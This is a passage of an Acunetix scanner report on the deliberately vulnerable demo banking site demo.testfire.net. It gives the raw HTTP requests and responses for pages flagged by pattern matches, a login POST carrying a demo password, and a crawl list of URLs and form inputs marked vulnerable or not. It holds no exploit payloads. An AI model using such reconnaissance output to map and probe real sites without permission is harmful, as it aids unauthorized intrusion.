Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 49
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:17:42 GMT
/header.aspx
Details
Pattern found: skipfish@example.com
Request headers
GET /header.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 49
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:17:42 GMT
/home.aspx
Details
Pattern found: skipfish@example.com
Request headers
GET /home.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Acunetix Website Audit
63
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 49
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:17:42 GMT
/index.aspx
Details
Pattern found: skipfish@example.com
Request headers
GET /index.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 49
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:17:42 GMT
/info.aspx
Details
Pattern found: skipfish@example.com
Request headers
GET /info.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Acunetix Website Audit
64
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 49
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:17:42 GMT
/orders.aspx
Details
Pattern found: skipfish@example.com
Request headers
GET /orders.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 49
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:17:42 GMT
/robots.txt
Details
Pattern found: skipfish@example.com
Request headers
GET /robots.txt HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
Acunetix Website Audit
67
HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Tue, 07 Jul 2015 10:12:49 GMT
Accept-Ranges: bytes
ETag: "33a33b7a9db8d01:0"
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:34 GMT
Content-Length: 49
/security.htm
Details
Pattern found: skipfish@example.com
Request headers
GET /security.htm HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/default.aspx
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Tue, 07 Jul 2015 10:18:00 GMT
Accept-Ranges: bytes
ETag: "10c892339eb8d01:0"
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:17:42 GMT
Content-Length: 49
/signup.aspx
Details
Pattern found: skipfish@example.com
Request headers
GET /signup.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Acunetix Website Audit
68
Cache-Control: private
Content-Length: 49
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:17:42 GMT
69
70
/bank/login.aspx (825f8b5076aa7df703fc45c8fed863e5)
Details
We found inurl:login.asp
Request headers
POST /bank/login.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/login.aspx
Content-Length: 44
Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
btnSubmit=Login&passw=g00dPa%24%24w0rD&uid=1
Response headers
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8822
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:39 GMT
/bank/login.aspx.cs
Details
We found inurl:login.asp
Request headers
GET /bank/login.aspx.cs HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/bank/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: Microsoft-IIS/8.0
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 06:57:43 GMT
Acunetix Website Audit
71
Connection: close
Content-Length: 1245
/login.aspx
Details
We found inurl:login.asp
Request headers
GET /login.aspx HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
Referer: http://demo.testfire.net/
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: *****
Acunetix-Aspect-Queries: filelist;aspectalerts
Cookie: ASP.NET_SessionId=rx35k455p05mwieaeevyb445; amSessionId=15731163468; lang=
Host: demo.testfire.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/28.0.1500.63 Safari/537.36
Acunetix-Product: WVS/9.0 (Acunetix Web Vulnerability Scanner - Free Edition)
Acunetix-Scanning-agreement: Third Party Scanning PROHIBITED
Acunetix-User-agreement: http://www.acunetix.com/wvs/disc.htm
Accept: */*
Response headers
HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 49
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 16 Jul 2015 07:17:42 GMT
72
73
Input type
Path Fragment (suffix .aspx)
Path Fragment (suffix .aspx)
Input scheme 2
Input name
/
Input type
Path Fragment (suffix .aspx)
Input scheme 3
Input name
/
Input type
Path Fragment (suffix /)
Input scheme 4
Input name
/
Input type
Path Fragment (suffix .htm)
Input scheme 5
Input name
Host
Input type
HTTP Header
URL: http://demo.testfire.net/search.aspx
Vulnerabilities has been identified for this URL
1 input(s) found for this URL
Inputs
Input scheme 1
Input name
txtSearch
Input type
URL encoded GET
URL: http://demo.testfire.net/style.css
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/default.aspx
Vulnerabilities has been identified for this URL
1 input(s) found for this URL
Inputs
Input scheme 1
Input name
content
Input type
URL encoded GET
URL: http://demo.testfire.net/feedback.aspx
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/
Vulnerabilities has been identified for this URL
No input(s) found for this URL
74
URL: http://demo.testfire.net/bank/login.aspx
Vulnerabilities has been identified for this URL
3 input(s) found for this URL
Inputs
Input scheme 1
Input name
btnSubmit
passw
uid
Input type
URL encoded POST
URL encoded POST
URL encoded POST
URL: http://demo.testfire.net/bank/ws.asmx
No vulnerabilities has been identified for this URL
2 input(s) found for this URL
Inputs
Input scheme 1
Input name
op
Input scheme 2
Input name
Input type
URL encoded GET
Input type
URL encoded GET
URL: http://demo.testfire.net/bank/members/
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/main.aspx
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/apply.aspx
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/logout.aspx
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/mozxpath.js
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/bank.master
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/login.aspx.cs
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/20060308_bak/
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/main.aspx.cs
Vulnerabilities has been identified for this URL
No input(s) found for this URL
75
URL: http://demo.testfire.net/bank/account.aspx
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/transfer.aspx
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/apply.aspx.cs
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/bank.master.cs
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/customize.aspx
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/logout.aspx.cs
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/account.aspx.cs
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/queryxpath.aspx
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/transfer.aspx.cs
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/transaction.aspx
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/servererror.aspx
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/customize.aspx.cs
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/queryxpath.aspx.cs
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/bank/transaction.aspx.cs
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/images/
No vulnerabilities has been identified for this URL
No input(s) found for this URL
76
URL: http://demo.testfire.net/survey_questions.aspx
No vulnerabilities has been identified for this URL
1 input(s) found for this URL
Inputs
Input scheme 1
Input name
step
Input type
URL encoded GET
URL: http://demo.testfire.net/robots.txt
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/subscribe.swf
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/disclaimer.htm
Vulnerabilities has been identified for this URL
1 input(s) found for this URL
Inputs
Input scheme 1
Input name
url
Input type
URL encoded GET
URL: http://demo.testfire.net/inside_points_of_interest.htm
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/pr/
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/pr/docs.xml
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/retirement.htm
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/comment.aspx
Vulnerabilities has been identified for this URL
6 input(s) found for this URL
Inputs
Input scheme 1
Input name
cfile
comments
email_addr
name
subject
submit
Input type
URL encoded POST
URL encoded POST
URL encoded POST
URL encoded POST
URL encoded POST
URL encoded POST
URL: http://demo.testfire.net/subscribe.aspx
Vulnerabilities has been identified for this URL
2 input(s) found for this URL
Inputs
Acunetix Website Audit
77
Input scheme 1
Input name
btnSubmit
txtEmail
Input type
URL encoded POST
URL encoded POST
URL: http://demo.testfire.net/comments.txt
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/inside_about.htm
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/inside_investor.htm
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/business_cards.htm
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/security.htm
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/admin/
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/test.aspx
No vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/cache.aspx
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/callback.aspx
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/files.aspx
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/header.aspx
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/home.aspx
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/index.aspx
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/info.aspx
Vulnerabilities has been identified for this URL
No input(s) found for this URL
78
URL: http://demo.testfire.net/log.aspx
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/login.aspx
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/orders.aspx
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/signup.aspx
Vulnerabilities has been identified for this URL
No input(s) found for this URL
URL: http://demo.testfire.net/static/
No vulnerabilities has been identified for this URL
No input(s) found for this URL
79